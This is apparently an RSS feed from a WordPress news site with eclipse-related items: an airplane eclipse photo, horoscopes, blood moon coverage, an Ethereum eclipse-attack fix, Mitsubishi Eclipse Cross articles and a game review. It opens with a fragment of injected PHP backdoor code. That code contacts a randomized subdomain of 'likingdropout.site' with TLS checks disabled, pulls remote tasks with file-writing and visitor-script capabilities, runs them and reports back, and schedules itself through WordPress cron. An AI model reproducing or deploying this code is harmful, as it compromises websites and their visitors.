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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Eclipse – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 24 Sep 2018 13:28:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Eclipse – Brief News https://briefnews.eu 32 32 The wild story behind how a photographer snapped one of the most amazing eclipse photos ever taken https://briefnews.eu/the-wild-story-behind-how-a-photographer-snapped-one-of-the-most-amazing-eclipse-photos-ever-taken/ https://briefnews.eu/the-wild-story-behind-how-a-photographer-snapped-one-of-the-most-amazing-eclipse-photos-ever-taken/#respond Mon, 24 Sep 2018 13:28:00 +0000 http://briefnews.eu/the-wild-story-behind-how-a-photographer-snapped-one-of-the-most-amazing-eclipse-photos-ever-taken/ Jon Carmichael Eclipse 108 All Rights Reseverd OnlineCourtesy of Jon Carmichael.

Astronomy photographer Jon Carmichael knew he wanted to capture 2017’s total solar eclipse on camera — he just didn’t quite know how. 

Millions of Americans watched the event unfold last August, making it one of the most-photographed in history. And Carmichael felt the pressure.

He studied the eclipse’s path, and realized that a Southwest Airlines flight from Portland to St. Louis would put him in the perfect geographical — and physical — location to photograph the event. 

So he booked a ticket.

Keep reading to see how he achieved what’s being hailed “the most amazing photo ever taken from a commercial airplane.”

Carmichael was ready to bribe a passenger for a window seat. Luckily, he didn’t have to — and the entire flight crew got on board with his mission.

Courtesy of Jon Carmichael.

Southwest doesn’t offer pre-assigned seats, so Carmichael came prepared to pay somebody for one facing the right window. 

But once he explained his vision to the flight crew, they assured him he would get a great seat — and the captain actually cleaned Carmichael’s window to make sure it was crystal clear.

 

The pilots actually circled the eclipse a few times so passengers could witness the once-in-a-lifetime event. That’s when Carmichael captured his stunning photo.

Courtesy of Jon Carmichael.

“In photography, it’s very rare for something you envision to manifest itself, let alone to turn out even better than you had hoped,” he said.

“I had never felt more relieved, grateful, and excited in my life. Against all odds, it came together. It felt meant to be — and literally changed my life,” he told My Modern Met.

Courtesy of Jon Carmichael.

“We’re all one. We’re all connected. And if you keep viewing the world as a pale blue dot, as Carl Sagan would say, it humbles you — and we all could use an ego check. And take care of each other” he said. 


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Your star sign suggests elements of your character and happenings in your future, according to astrology.

With the 27 July 2018 blood moon eclipse tonight, what does the celestial happening have in store for you, according to your sign?

Grant Russell, 67, a British astrologer revealed all to Express.co.uk.

He said: “Stargazers and Moon Watchers are in for some stunning celestial events late in July.

“Mars will be one of the brightest celestial objects lighting up our night time sky along with a blood red eclipsed Moon.

“For, just ahead of the lunar eclipse on the 27th, Mars will be making its closest approach to the earth since 2013.

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“During this rare occurrence of celestial events, we will be able to see the Red Planet glowing brightly in Aquarius beside the Full Moon.

“During this event, powerful Mars energy will combine with the feminine energy of the Full Moon opposite a Leo Sun.”

The expert claims this will cause a powerful blast of energy.

How can you use it to make positive changes in your life to benefit yourself and others?

Look up your Sun Sign (commonly referred to as a star sign) below and here’s what to do:

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Aries

Mars and the Full Moon energy will be triggering your sociability and leadership ability.

Self-Development: Choose group activities that fuel your enthusiasm and ambition.

In your professional life you could be facing some stiff competition but if anyone can become a success in highly competitive areas, it is you.

Move with the times and experiment with cutting edge technologies and this will make you an invaluable member of the team.

Relationships: Find ways to nurture and encourage those around you. You can help your family and friends achieve their potential.

Take over some of their responsibilities so they can take classes to develop their skills, train for a sport or create a work of art. Draw on your leadership skills to guide people who might benefit from your encouragement.

Gemini

Mars and the Full Moon energy will be triggering your restless spirit and need for change and variety.

Self-Development: You’re open to a change of scenery. Because of this, the opportunity to explore greener pastures will be met with enthusiasm.

Taking a break from the pressures of life will come as a relief. Explore places you would ordinarily avoid. Visiting mystical landscapes will enrich your life and bring about a deep spiritual awakening. You can appreciate the philosophies of other cultures without having to change your own belief system.

Relationships: Although you enjoy spending time with friends, you’re eager for new experiences. In the search for your higher purpose, you might feel drawn to groups, workshops and seminars that are focused on spiritual development. What’s important is for you to feel linked with the source that connects us all.

Helping people who can’t help themselves is a good way for you to integrate your mind, body and spirit.

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Taurus

Mars and the Full Moon energy will be triggering external factors that will have an effect on your life.

Self-Development: You’ve always been practical and patient. You are also a perfectionist who will practice and practice until you get it right.

You might take the opportunity, over the months ahead to learn a new skill and whether this is a technological accomplishment or learning a foreign language, a positive attitude will open doors for you. If you’re being interviewed for a promotion, you will pass with flying colours.

Relationships: You may have to face some impressive rivals in a competitive situation. What you may not realise is that many people look on you with admiration. You have earned the respect of even the most competitive people around you.

Don’t be surprised if you are asked to teach or train people who are new to your field. Being able to share your knowledge with others will be fulfilling.

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Cancer

Mars and the Full Moon energy will be triggering your desire for increased financial and material security.

Self-Development: Try not to wallow in your financial problems. If you’re doing your best to manage on a shoestring budget, let this be a lesson on finding inventive solutions. Life can be difficult and you may be making your money stretch as far as possible but don’t let this make you miserable and don’t give up hope.

You can’t always chose what happens to you but you can choose how you react to life’s challenges. A positive attitude will draw luck like a magnet.

Relationships: Commit random acts of kindness. Giving praise and compliments cost nothing yet your words could make someone’s day. Cook an extra meal for a neighbour who might need it or take part in a fund raising venture.

Helping vulnerable members of your neighbourhood will make you a valued member of your community but don’t forget to be kind to yourself. At the end of each day think of at least three things you are grateful for.

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Leo

Mars and the Full Moon energy will be triggering your desire to build stronger and deeper relationships.

Self-Development: You don’t have to put on an act when you are with your friends and family. It’s important to be able to relax and be yourself when you are with those you care for and who care for you.

Stop worrying about looking confident or sophisticated and let people see who you really are. It will take courage to make yourself vulnerable to others but reaching out for support will strengthen bonds and deepen your love.

Relationships: Take the time to develop closer bonds within the family and with friends, neighbours and colleagues. Ask about other people’s interests and share your views and feelings.

It takes time to build relationships but work at it and eventually you will develop a greater understanding of each other. If you’ve been thinking about someone you’ve not seen in a while, give them a call. You have to stay engaged to sustain friendships and loving bonds.

Virgo

Mars and the Full Moon energy will be triggering your desire to improve your health.

Self-Development: If addictive behaviours are making you unhappy, adopting healthier habits will make you feel more positive. If you need treatment for a phobia that is holding you back, now is a good time to seek expert help.

A sympathetic counsellor will support you in breaking this cycle. A sensible exercise plan and eating nutritious meals will help you cope with stress. Raw vegetables, nuts and dried fruit boost your productivity.

Relationships: You can be a perfectionist but you should beware of driving some people too hard. You always set a high standard for yourself and others but workmates might start to feel you’re expecting too much from them.

Not everyone will have the same priorities. For the most part, people are grateful for your encouragement but tone down demands. The key is to temper criticism with genuine praise.

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Libra

Mars and the Full Moon energy will be triggering your creativity.

Self-Development: Friends who don’t understand your creative vision will try to nudge you in a direction that doesn’t feel right for you. You might feel tempted to give in but don’t. Be true to yourself and continue along your path even if you receive criticism or negative feedback.

Eventually your work will attract praise and admiration. Don’t let your creativity go to waste. There’s even a chance you will be able to make money from talent.

Relationships: Building a social network of like-minded people will help you reach new creative heights. It’s not easy to find common ground with everyone and it won’t be good for you to follow the herd.

You don’t have to be the outsider. Meet up with people who share your interests. Share time with accomplished artists who appreciate your unique style and you will learn from each other. Joining a group or workshop will help you produce some impressive works of art.

Scorpio

Mars and the Full Moon energy will be triggering your nurturing instincts.

Self-Development: Creating a routine that suits all your family will help keep stress at bay. Making your home life a priority and spending quality time with your nearest and dearest will be enriching.

If outside interests have taken over your life recently, you will be ready to change that now. Your aim is to reconnect with your family and show how much you care. If you’re looking for work, a job that involves caring for children or animals will bring emotional satisfaction.

Relationships: Helping a youngster in the family or older relative through a difficult patch will take up a lot of your time but this will be a willing sacrifice. Heart to heart discussions within the home will draw you all closer together.

You might decide to look into your family history and this is a project you all can share. If you live alone, pay attention to your instincts. If you want to change your living situation, now is the time to do so.

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Sagittarius

Mars and the Full Moon energy will be triggering your curiosity and desire to learn.

Self-Development: Travel, books, groups and adult education courses are all good ways to expand your horizons. If you hear of an exciting learning opportunity, go for it. Adding to your knowledge will be lots of fun.

You will enjoy learning all you can, not just education-wise but about yourself too. Increasing your skills helps keep your brain active, will enhance your self-esteem and makes you a more well-rounded person. Enhancing your knowledge will put you on a spiritually gratifying path.

Relationships: Being able to learn, share and develop your skills with others is critical to your happiness. Sharing your skills with friends and colleagues will be rewarding and joining a professional organisation or academic group will boost your prospects.

Your interests are likely to put you in contact with some impressive people and if you have ever wanted a career in the educational field, pursue it now.

Capricorn

Mars and the Full Moon energy will be triggering your need to achieve financial and emotional security.

Self-Development: You will be giving more careful thought to your financial situation and earning potential. You can sense which money making opportunities are worth pursuing and your instincts are reliable.

Speculative investments will make you wary. Your priority is to grow your money over time and build an adequate nest egg. Are you looking for a new job? Explore opportunities at a non-profit organisation. An exciting offer will soon arrive.

Relationships: Decluttering your home and workspace will bring you tremendous satisfaction and will benefit everyone. Making more space around you paves the way for new energy to enter your life.

Encourage your family and workmates to get rid of unwanted items. You will all feel more productive and more active when your workplace is less cluttered. At home, a neat environment will help your family to relax.

Aquarius

Mars and the Full Moon energy will be prompting you to make decisions, initiate projects, establish contacts and sow seeds.

Self-Development: Find ways to put anxiety on the back burner. Hidden fears will rise to the surface but you shouldn’t let them get in the way of your progress. Whatever your goals, whatever your decisions, don’t worry about looking foolish.

Setting long-term goals, making practical choices and keeping your thoughts positive is the best way forward. Have faith in yourself. You are versatile and inventive. Use these qualities to promote your agenda.

Relationships: A need for change will cause you to reassess your relationships. You want to feel you are putting your trust in people who have earned it.

It gives you great pleasure to be able to help others who need it but this can sometimes cause you to neglect yourself. It is time to do something that’s geared towards satisfying your own needs now. Hiding away from the world for a wee while might sound like a good idea.

Pisces

Mars and the Full Moon energy will be triggering your desire to find spiritual fulfilment.

Self-Development: Taking up a spiritual practice will help you reconnect with your intuition. Developing a belief system that gives your life meaning is important for you now.

This is a wonderful time to read inspirational books, commune with nature and practice relaxation techniques that help calm your mind and relax your body. Creative activities can also help connect you with your spiritual side.

Relationships: Attending a group spiritual retreat will remind you there is more to life than work and responsibility. You don’t necessarily have to be religious or join an organised religion.

Finding out more about cultural beliefs or visiting a pilgrimage centre will be fascinating. If you’re single, you could meet someone special at a cultural group or spiritual retreat.

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The longest –and creepiest– lunar eclipse of the century will take place Friday and Saturday, prompting renewed fear among those who think that this weekend’s blood moon spells the end of days.

What is a blood moon?

The lunar eclipse will see the Moon turn a red shade, thanks to the Earth passing between the Sun and the Moon, which makes some of the solar light bounce around the edge of the Earth’s atmosphere. The red and orange wavelengths scatter more than blue and violent ones, making the moon look ‘bloody’.

This eclipse will last one hour and 43 minutes, and the Moon will be in the Earth’s shadow for four hours altogether.

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Where to watch the blood moon?

The best views are in Africa, the Middle East, India and China. People in the rest of Africa, Europe and parts of Asia and Australia will also see the spectacle, but it’s bad news for those in North America and Greenland, as the blood moon won’t be visible. Moon enthusiasts can watch a livestream from anywhere in the world, however, with the full eclipse due to begin at 19:30 UTC.

Does this mean the world is ending?

According to the prolific YouTube preacher Paul Begley, yes. He announced in a sermon that God told him to “go check it out” and, when he did, he realized that the blood moon will be over Jerusalem, which he believes is significant given Israel turned 70 this year.

Begley went on to quote an oft-used passage from the Bible’s Book of Joel which warns that “the sun will turn into darkness, and the moon into blood, before the great and terrible day of the Lord comes.” He cited other ominous moon-related lines from the scripture, before adding a disclaimer so that no one could “debunk what I’m saying.”

“Everything I’m saying is factual,” he proclaimed.

We’ll all have to wait and see whether Begley’s prediction rings true but, judging by previous end of days predictions that have come about before unusual moons, it’s unlikely to be something to worry about.

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Developers of Ethereum, the world’s No. 2 digital currency by market capitalization, have closed a serious security hole that allowed virtually anyone with an Internet connection to manipulate individual users’ access to the publicly accessible ledger.

So-called eclipse attacks work by preventing a cryptocurrency user from connecting to honest peers. Attacker-controlled peers then feed the target a manipulated version of the blockchain the entire currency community relies on to reconcile transactions and enforce contractual obligations. Eclipse attacks can be used to trick targets into paying for a good or service more than once and to co-opt the target’s computing power to manipulate algorithms that establish crucial user consensus. Because Ethereum supports “smart contracts” that automatically execute transactions when certain conditions in the blockchain are present, Ethereum eclipse attacks can also be used to interfere with those self-enforcing agreements.

Like most cryptocurrencies, Ethereum uses a peer-to-peer mechanism that compiles input from individual users into an authoritative blockchain. In 2015 and again in 2016, separate research teams devised eclipse attacks against Bitcoin that exploited P2P weaknesses. Both were relatively hard to pull off. The 2015 attack required a botnet or a small ISP that controlled thousands of devices, while the 2016 attack relied on the control of huge chunks of Internet addresses through a technique known as border gateway protocol hijacking. The demands made it likely that both attacks could be carried out only by sophisticated and well-resourced hackers.

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]]> https://briefnews.eu/ethereum-fixes-serious-eclipse-flaw-that-could-be-exploited-by-any-kid/feed/ 0 2018 Mitsubishi Eclipse Cross vs. small crossover SUVs: How they compare on paper https://briefnews.eu/2018-mitsubishi-eclipse-cross-vs-small-crossover-suvs-how-they-compare-on-paper/ https://briefnews.eu/2018-mitsubishi-eclipse-cross-vs-small-crossover-suvs-how-they-compare-on-paper/#respond Fri, 23 Feb 2018 19:07:09 +0000 http://briefnews.eu/2018-mitsubishi-eclipse-cross-vs-small-crossover-suvs-how-they-compare-on-paper/ In the midst of the crossover SUV boom, each traditional size segment has become saturated. As a result, automakers are beginning to fill the gaps that separate classes, giving us some interesting in-between options. The all-new 2018 Mitsubishi Eclipse Cross jumps right into one of those in-between categories bookended by compact and subcompact crossovers. It’s a niche that offers more space and feature content than the smallest vehicles, with an extra dose of style and a lower price than bigger ones.

Because of the Eclipse Cross‘ in-between nature, though, there’s not really an obvious direct competitor. As such, we’ve selected a diverse group of small crossovers that are similar to the Eclipse Cross in some but not all key areas: size, price, feature content, style and likely buyers. The 2018 Subaru Crosstrek, 2018 Toyota C-HR and 2018 Nissan Rogue Sport each have elements in common, but are different enough to provide useful points of comparison.

A chart of specifications and key standard features is shown below, followed by more in-depth analysis. And if you wish to compare these crossovers with others not listed, be sure to check out our comparison tools.

Chart comparing the Mitsubishi Eclipse Cross with other small crossover SUVs

Engines and Drivetrains

One of the Eclipse Cross’ biggest advantages in this segment will be its engine. Subcompact crossovers, including the other three we’ve chosen, are sluggish to say the least. This new Mitsubishi should be different as it packs a turbocharged 1.5-liter four-cylinder that belts out a whopping 184 pound-feet of torque. We say whopping, because the C-HR, Crosstrek and Rogue Sport all have between 139 and 147 pound-feet. Horsepower is similarly unimpressive at just 152 horsepower – the same as the Crosstrek – but that torque should make passing and on-ramp runs much more satisfying.

The appeal of crossovers for many people is the availability of all-wheel-drive, and this is where the Subaru gets an advantage. Like with all Subarus that aren’t a BRZ, the Crosstrek has standard all-wheel drive. The Mitsubishi comes close, making all-wheel drive standard on every trim level except the very base ES trim level. On the Rogue Sport, all-wheel drive is an option on all trim levels. Depending on where you live, though, being able to have front drive on a high-trim crossover could be a plus because it will save some money and improve fuel economy. The C-HR loses this battle as it’s only available with front-wheel drive.

Another area in which the Crosstrek has an advantage is its standard manual transmission, which makes it a bit more appealing for those who like to row their own. Every other vehicle here comes with a CVT only.

Exterior Dimensions and Interior Space

On the outside, the C-HR is easily the smallest and has the least amount of ground clearance at 5.9 inches (that’s only 0.2 more than a Camry). The Rogue Sport is about an inch or two larger than the Toyota in most exterior dimensions, while the Eclipse Cross and Crosstrek are the largest.

They differ in height, though, with the Eclipse Cross towering over the rest at 67.1 inches with front-drive and 67.3 inches with all-wheel-drive. The Crosstrek in comparison measures 63.6 inches despite having the most ground clearance at 8.7 inches (not really surprising as it is, after all, an Impreza on stilts). Few SUVs of any sort come close to that, so it’s impressive that the Eclipse Cross comes close at 8 inches with front-drive and 8.6 inches with all-wheel drive. Really, between this and its mostly standard all-wheel drive, the Eclipse Cross joins the Crosstrek as one of the best choices in this size segment for tackling dirt roads and deep snow.

Unsurprisingly, as the smallest vehicle of the group, the C-HR has the least amount of cargo space, especially with the rear seats folded. Its 19 cubic feet of space behind the rear seats isn’t way off the other three, but the 36.4 cubic feet with the seats down is paltry when the next largest capacity (the Eclipse Cross) is 48.8 cubic feet. The cargo capacity champ is the Rogue Sport. As we note, that capacity varies by trim due to a useful cargo management system included on upper trim levels that robs some cubic feet.

For passengers, each vehicle is surprisingly close in accommodations. But there are a couple that have unique disadvantages. If you’re tall, the Eclipse Cross may not be ideal. Despite being the tallest crossover in the group, it has the least amount of headroom front and rear, with roughly 3 inches less up front and 5 less in the rear. The C-HR may also look comparable on paper, but it should be noted that its aft quarters are compromised by pretty dismal visibility. It’s like a black plastic cave back there.

Fuel Economy

The Mitsubishi Eclipse Cross doesn’t have fuel economy numbers yet available, but we can still compare the others in this area. The most frugal of the bunch is the CVT-equipped Subaru Crosstrek thanks to its superior highway fuel economy number, but it gets the same 29-mpg combined figure as the C-HR. Note, however, that’s with standard all-wheel drive whereas the Toyota is front-drive only. In other words, Subaru still wins (well, unless you get the manual, in which case it loses big time at 25 mpg combined).

The Rogue Sport, by comparison gets 27 mpg combined with AWD and 28 with FWD. According to the EPA, that difference would amount to between $ 50 and $ 100 in average annual fuel cost. So, not much.

Standard Features and Pricing

Where these vehicles vary most is in pricing and standard equipment, and they span the gamut from bare-bones and low-cost, to pricier but very well-equipped. Representing the bare-bones perspective is the Nissan Rogue Sport. It has the lowest base price of $ 22,615, but you won’t get many premium features. It comes with just plain steel wheels with plastic covers, a 5-inch infotainment screen without touch functionality, and general standards such as cruise control, a manually height-adjustable driver seat and Bluetooth. And, as we already mentioned, quite a bit of space when choosing the base model.

But for just about $ 100 more, you can get a base model Crosstrek, which adds all-wheel-drive and 17-inch alloy wheels to the equation. Not only that, it gets a 6.5-inch touchscreen with Apple CarPlay and Android Auto compatibility. It’s the only vehicle in this group to offer that infotainment addition as standard. It’s worth noting that this base price is for the manual transmission version. Adding the CVT bumps the price up $ 1,000, making the Nissan a bit more appealing for budget-minded automatic fans.

At the top of the price range is the Mitsubishi Eclipse Cross, which starts at $ 24,290. It comes with 16-inch alloy wheels, Bluetooth connectivity, and a 7-inch touchscreen. It doesn’t come with CarPlay or Android Auto, or all-wheel-drive for that matter. But it does add automatic climate control and heated side mirrors (plus the strongest engine).

The Toyota C-HR starts roughly $ 800 less than the Mitsubishi at $ 23,495. But where it shines is in standard features. Its 18-inch alloy wheels are the largest of the bunch, which is a positive for style-conscious buyers, and maybe a downside for pothole heavy regions. It also treats the driver and passenger equally giving them both six ways to manually adjust their seats, and they each get their own zone of automatic climate control. It comes with a 7-inch touchscreen, but its an aftermarket-style unit rather than a full Toyota Entune touchscreen, and there’s no way to get CarPlay or Android Auto.The C-HR also includes a leather steering wheel, automatic high-beams, and adaptive cruise control. It even has fancy safety features such as automatic emergency braking and lane-departure assist. So as long as you don’t need to mirror your smartphone on the infotainment, and don’t need all-wheel-drive, the C-HR is hard to beat in the feature department.

Conclusions

This is a pretty oddball group to be sure, but it shows that would-be crossover buyers have a diverse selection of choices. Judging by what we’ve found above, the new Mitsubishi Eclipse Cross comes close to matching the Subaru Crosstrek’s appeal as an all-weather, go-anywhere choice, but with superior performance and funkier styling more in keeping with the C-HR. The Rogue Sport would be the more practical, sensible alternative, while that C-HR would be the most fashionable, feature-rich choice.

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The first shipment of the 2018 Mitsubishi Eclipse Cross has arrived in the United States. Mitsubishi’s new all-wheel drive compact crossover will go on sale in showrooms in early March with a starting price of $ 24,290, including a destination charge of $ 995.

The Eclipse Crossdebuted last year at the Geneva Motor Show with design cues borrowed from the XR-PHEV II Concept from 2015. The exterior design, which Mitsubishi says is inspired by a runner in the “Get set” position, includes a forward-raked rear window, wedge profile and deep side crease. Its starting price slots it just below competitors like the Honda CR-V and Hyundai Tucson, and it will come in four trim levels.

Those include the base ES, which is the only trim available with front-wheel drive. Adding all-wheel drive, or S-AWC in Mitsubishi speak, adds only $ 600 to the base price. The LE S-AWC trim starts at $ 25,890 and the range-topping SE S-AWC starts at $ 27,390, though neither are eligible for options, so those are pretty much the prices customers will be dealing with.

All trim levels are powered by a direct-injection turbocharged 1.5-liter inline-four that makes 152 horsepower and 184 pound-feet of torque. The S-AWC acronym would stand for Super All-Wheel Control, Mitsubishi’s system that manages torque supplied to each wheel for added straight-line stability and cornering performance. It offers three selectable driving modes — auto, snow and gravel — to enhance performance. Safety technology includes blind-spot warning and lane-change assist, forward collision mitigation and lane-departure warning, plus a system that automatically adjusts headlight brightness to the conditions.

Interior features include an available 7-inch infotainment display with a touchpad controller, Apple CarPlay and Android Auto, plus voice recognition via Google Assistant or Siri. There’s also a full-color LCD head-up display available. A dual-pane sunroof and heated rear seats are some of the other niceties.

The Eclipse Cross joins the brand’s stable of crossovers, the Outlander and slightly smaller Outlander Sport, which helped Mitsubishi to a banner year in 2017, selling more than 100,000 vehicles for the first time in a decade. It also joins the Outlander PHEV, also new for 2018.

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Eclipse 2018: Will the lunar eclipse affect your horoscope?

A total lunar eclipse will be visible from the USA tomorrow, with effects felt worldwide.

Astrology, the study of the movements of celestial objects, is affected by the changing moon. So what bearing will this week’s super moon have on your horoscope? Astrologer Jeff Prince gave a detailed analysis to Express.co.uk.

Jeff said: “If we thought we had an accurate measure of certain situations, the Eclipse could reveal how wrong we were, but in helpful – and potentially delightful – ways.

“Eclipses are the most powerful and far-reaching astrological events. They tend to bring into the open what has been suppressed or ignored. Today’s Eclipse in the sign of Leo will reveal that more hope exists within certain situations or arrangements we believed offered little in the way of hope!”

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ARIES: Some healing can happen between you and a certain person. It could be time to let bygones be bygones, and this could be connected with affairs of the heart. Improving a connection will involve accepting a difficult change, but the reward for doing so will be far-reaching and worth it!

TAURUS: The Eclipse focuses its energy on your ‘emotional foundations,’ and this could involve something connected with your home or family. However, it’s important to recognise a storm in a teacup when you see one. A matter might require you to handle it sensitively, but an improvement can happen with a family member or domestic set-up if you can keep emotions in check!

GEMINI: Someone’s words could carry considerable clout and possibly touch a raw nerve with you. It’s also possible your mind could be cast to the past, resulting in an uncomfortable stroll down Memory Lane. However, all of this points to removing yourself from a tired, tedious situation or arrangement that you’ve wanted to shake for some time. You’ve wanted to see progress that hasn’t been forthcoming so far. That’s about to change now.

CANCER: Money matters could preoccupy your thoughts, especially as the Eclipse focuses its energy on your earnings. However, any concerns you have about your bank balance could be connected to deeper issues surrounding your confidence or self-worth. In any case, a need exists to improve and strengthen your financial position. A boost to your confidence might encourage you to explore new possibilities you hadn’t considered!

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LEO: Today’s Eclipse occurs in your sign. If you’re a rare Leo who hasn’t sensed powerful change has been brewing in the background for some time, then coming events could reveal how far-reaching and transformational the change coming your way is. For some Leos, this could involve a significant change in appearance, but it’s the way hope is revived in a particular way that will be most powerful.

VIRGO: The Eclipse could bring you back to Earth with a bit of a bump, but in a necessary and timely way. The saying about being able only to please some people some of the time, and not everyone all of the time comes to mind. You could be going to greater lengths than are necessary to please or placate others. This might be due to you having unrealistic ideas of what they need and what you’re responsible for providing. A ‘reality check’ is in store. It’s time to see at least one arrangement or commitment more realistically.

LIBRA: You’re a clever so-and-so. You know it. Others know it, too. However, it appears you could do with a bit more acknowledgment of your dedication, commitment, and effort in at least one area and that’s something the Eclipse intends to assist with. A bit of praise will go a long way, and with your confidence boosted as a result, you’d be wise to set your sights higher and see what else you’re capable of!

SCORPIO: The Eclipse focus its energy on your career and status in the eyes of others. You might be required to ‘think on your feet’ or react swiftly to an opportunity, but have a real chance to shine and impress others by doing so. If someone suspected you were ‘the right person for the job’ in some way, then they’re about to be proved correct!

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SAGITTARIUS: The Eclipse enhances your vision of the future, and you could be surprised at how certain plans that mattered greatly to you at one are replaced by new interests and pursuits. ‘Broadening your mind’ is increasingly important now, with study and travel particularly highlighted. You want to fill your mind with more intellectual and possibly spiritual pursuits, and coming events will help you to do so.

CAPRICORN: The Eclipse highlights the arrival of money that comes from sources other than earnings, or a new financial strategy being implemented. It also highlights healing or a significant improvement in a ‘balance of power.’ For some time, you have felt a certain person has had too much of an ‘upper hand’ with an arrangement you wished was more equitable. Feeling a bit more appreciated and less beholden to them will work wonders for your confidence.

AQUARIUS: The Eclipse highlights partnerships and commitments. If you’ve seen one relationship in an unrealistic light, then that could become clear now, or shortly. A fresh start and new chapter are about to commence with one connection, bringing a sense of relief and new-found clarity. Removing rose-tinted glasses where one involvement is concerned is both helpful and timely.

PISCES: A powerful and far-reaching change is connected with your daily routine. If your New Year resolutions to get fitter or healthier didn’t get off to a good start, then embarking upon a new health-related regime now could prove surprisingly easier. A change could also occur with work, and if you feel your imagination or creativity haven’t been utilised in ways you wish they were, then a chance to apply both in a new work setting – or with a potentially lucrative project – could present itself.

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]]> https://briefnews.eu/eclipse-2018-will-the-lunar-eclipse-affect-your-horoscope-each-star-sign-revealed/feed/ 0 The Mind’s Eclipse Explores Themes Of Grief And Loss On A Derelict Space Colony https://briefnews.eu/the-minds-eclipse-explores-themes-of-grief-and-loss-on-a-derelict-space-colony/ https://briefnews.eu/the-minds-eclipse-explores-themes-of-grief-and-loss-on-a-derelict-space-colony/#respond Thu, 25 Jan 2018 16:13:37 +0000 http://briefnews.eu/the-minds-eclipse-explores-themes-of-grief-and-loss-on-a-derelict-space-colony/ mindseclipse.jpg
You wake up and everyone on the colony is dead. What happened? How can you escape from there? And… who are you, anyway? This scenario hardly sounds innovative, but science-fiction adventure The Mind’s Eclipse still has a few surprises in store for you.

In true adventure gaming fashion, you explore the derelict space station, solve a few rather easy inventory puzzles, and try to piece together the fate of the station’s crew by reading log entries which are scattered all over the place. Since everyone’s dead, that’s pretty much all you do, but it’s intriguing enough.

Actually, you do have someone to keep you company: the rather enigmatic L, an AI companion inside your head, offers help and the occasional snarky reply. (You keep wondering if she’s really on your side, but at least she’s better than that weird COSy thing that sometimes just appears in your mind and… just… takes over.)

The game’s presentation appears rather sparse, with static screens in hand-drawn black and white and atmospheric background music. This perfectly adds to the atmosphere, rendering yor exploration solitary and oppressive. It also let’s you focus on the narrative and perfectly fits the game’s underlying themes.

At the end of the day, The Mind’s Eclipse offers intriguing sci-fi trappings and – without venturing too far into spoiler territory – a memorable exploration of grief and loss with a fair bit of horror thrown into the mix. That’s hardly uplifting stuff, but it’s a short, captivating experience very much worth your time.

You can purchase The Mind’s Eclipse from itch.io and Steam for $ 9.99. A playable demo can be found here. For more information, visit the game’s website or follow developer Mind’s Eclipse Interactive on Twitter.

]]> https://briefnews.eu/the-minds-eclipse-explores-themes-of-grief-and-loss-on-a-derelict-space-colony/feed/ 0 A rare Blue Moon lunar eclipse will happen this month https://briefnews.eu/a-rare-blue-moon-lunar-eclipse-will-happen-this-month/ https://briefnews.eu/a-rare-blue-moon-lunar-eclipse-will-happen-this-month/#respond Tue, 02 Jan 2018 06:53:05 +0000 http://briefnews.eu/a-rare-blue-moon-lunar-eclipse-will-happen-this-month/

One of the more exciting events of 2017 was the total solar eclipse that was viewable across the US. And if you enjoyed it as much as I did, I have some good news for you. While the US won’t be getting another look at a total solar eclipse until 2024, parts of the US will get to see another rare eclipse in 2018 and they’ll get to check it out this month.

On January 31st, there will be a total lunar eclipse. What makes this one so special is that it’s happening during a Blue Moon, or the second full moon of the month (depending on which definition you go by). These two events haven’t coincided since 1866, making this one the first in over 150 years. The next one won’t be until 2028.

